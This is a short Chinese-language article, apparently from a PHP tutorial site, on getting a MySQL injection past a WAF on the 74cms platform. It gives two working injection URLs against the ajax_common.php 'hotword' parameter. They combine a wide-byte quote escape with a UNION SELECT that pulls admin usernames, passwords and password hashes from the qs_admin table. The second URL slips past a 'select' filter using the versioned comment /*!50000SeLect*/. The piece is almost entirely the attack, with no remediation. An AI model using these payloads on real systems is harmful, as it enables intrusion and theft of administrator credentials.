来源：自学PHP网 时间：2015-04-15 15:00 作者： 阅读:次
[导读] mysql注入绕过无压力提交http: demo 74cms com plus ajax_common php?act=hotwordquery=...
|
mysql注入绕过无压力
提交http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦'union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23
 被拦截了，经过测试拦截的是select，那么把select换成/*!50000SeLect*/呢
然后提交
http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23
 成功绕过！
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
